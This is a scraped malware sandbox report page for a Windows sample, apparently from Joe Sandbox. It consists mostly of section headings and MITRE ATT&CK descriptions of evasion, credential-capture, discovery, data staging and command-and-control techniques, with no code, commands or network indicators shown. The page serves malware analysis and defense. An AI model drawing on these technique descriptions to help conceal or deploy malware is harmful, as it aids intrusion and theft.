Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report sbxGIUIhRd.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Cryptography:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

Spam, unwanted Advertisements and Ransom Demands:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network protocol analysis, Packet capture, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre